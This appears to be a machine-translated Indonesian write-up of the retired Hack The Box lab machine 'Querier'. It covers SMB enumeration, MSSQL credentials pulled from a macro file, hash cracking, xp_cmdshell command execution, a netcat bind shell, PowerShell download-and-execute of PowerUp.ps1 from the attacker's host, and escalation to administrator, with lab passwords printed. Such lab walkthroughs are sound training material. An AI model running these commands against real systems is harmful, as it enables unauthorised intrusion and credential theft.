Bagian dari mesin laboratorium untuk "Hackthebox - Querier" Pentest

Halo, Habr! Pada artikel ini, Anda akan belajar tentang metode menyerang server jauh menggunakan fitur MsSQL, membuat shell terbalik untuk memperbaiki dalam sistem, dan contoh mengoperasikan kebijakan grup yang tidak terkonfigurasi dengan baik di Windows.

Di bawah potongan, kita akan berbicara tentang pengalaman kami melewati mesin laboratorium Querier di portal hackthebox .

Bagi mereka yang tidak tahu apa itu hackthebox, ini adalah portal tempat Anda dapat menguji keterampilan terpuji Anda dalam praktik, ada tugas-tugas KKP dan mesin laboratorium sendiri.

Penafian
Aturan layanan berbunyi: " Jangan bagikan bagaimana Anda meretas setiap mesin dengan anggota lain. Ini termasuk pembuatan kode undangan dan semua tantangan . " Tetapi karena mesin ini tidak lagi aktif dan disimpan di bagian Mesin Pensiunan , hanya anggota VIP yang dapat mengaksesnya.



Pengumpulan informasi


Mari kita mulai eksplorasi kita dengan memulai pemindaian port dengan nmap.

nmap –sC –Pn –A 10.10.10.125 



Kami mencantumkan port yang ditemukan.

Hitung 139/445 / tcp (seseorang)


Kami akan menggunakan utilitas smbclient untuk mengakses sumber daya server SMB.

 smbclient –L //10.10.10.125 

Setelah melalui semua sumber daya, kami menemukan dalam direktori Laporan file β€œCurrency Volume Report.xlsm”.



Jika Anda membuka file ini dengan Microsoft Excel standar, maka pada pandangan pertama akan benar-benar kosong.

Kami menganalisis file menggunakan utilitas binwalk , yang akan membantu Anda melihat file yang tertanam pada dokumen xlsm.



Dari keluaran binwalk, kami menemukan beberapa file menarik yang terkandung dalam xlsm.
Dengan menggunakan –e flag, bongkar itu.

 binwalk –e Currency\ Volume\ Report.xlsm 



Sekarang kita akan menggunakan utilitas string untuk menampilkan karakter yang dicetak. Menelusuri file, kami menemukan data menarik di vbaProject.bin. Sepertinya kami menemukan kredensial untuk server mssql.



Untuk meringkas informasi yang saat ini diterima:

  • Kita tahu bahwa server mssql berputar di port 10.10.10.125:1433;
  • Kami memiliki kredensial dari server mssql pengguna.

Jadi mari kita coba sambungkan ke server menggunakan skrip dari modul impacket .

 python mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth 

Dapatkan akses ke MsSQL.



Hitung MsSQL


Kami mencantumkan informasi yang berguna bagi kami menggunakan perintah dari artikel .
Setelah mengeksekusi SQLi, kita mendapatkan hash dari kata sandi pengguna mssql-svc.



Untuk mendapatkan kata sandi secara eksplisit, Anda perlu menghapusnya menggunakan alat apa pun yang nyaman bagi Anda.

  1.  john --format=netntlmv2 hash.txt 
  2.  hashcat -m 5600 -a 3 hash.txt 

Kami mendapatkan kata sandi dari mssql-svc .

Menghubungkan ke SQL dengan pinjaman kredensial baru.

 python mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth 

Hak-hak pengguna ini memungkinkan kami untuk menjalankan xp_cmdshell

Tentang xp_cmdshell
MsSQL dikirimkan dengan sejumlah besar prosedur tersimpan canggih. Yang paling menarik adalah xp_cmdshell. Ini memberikan akses ke baris perintah sistem operasi.

Dapatkan shell terbalik


Kami mencoba untuk mendapatkan shell melalui netcat, untuk ini kita perlu mengunggahnya ke server yang diserang.

Kami pergi ke direktori di mesin kami di mana netcat berada dan dijalankan:

 python –m SimpleHTTPServer 

Dalam shell mssql untuk mengunduh netcat (nc.exe) ke server jauh, jalankan perintah powershell, tentukan path save.

 xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.xx:8000/nc.exe" – OutFile "C:\Users\mssql-svc\Desktop\nc.exe" " 

Kami mulai netcat untuk mendengarkan pada port 4444.

 xp_cmdshell "powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe" 

Kami mulai netcat di pihak kami, menentukan ip dan port dari server yang diserang dan mendapatkan shell.

 nc 10.10.10.125 4444 

Jalankan skrip dari PowerShellMafia untuk meningkatkan hak istimewa.

 powershell.exe IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.xx:8000/PowerUp.ps1\"); Invoke-AllChecks 



Sebagai hasil dari skrip, kami mendapatkan kredensial administrator.

Kami pergi ke sumber daya seseorang dengan kredensial dan izin baru.





Ambil flag root.txt. Kemenangan!

Source: https://habr.com/ru/post/id465687/


All Articles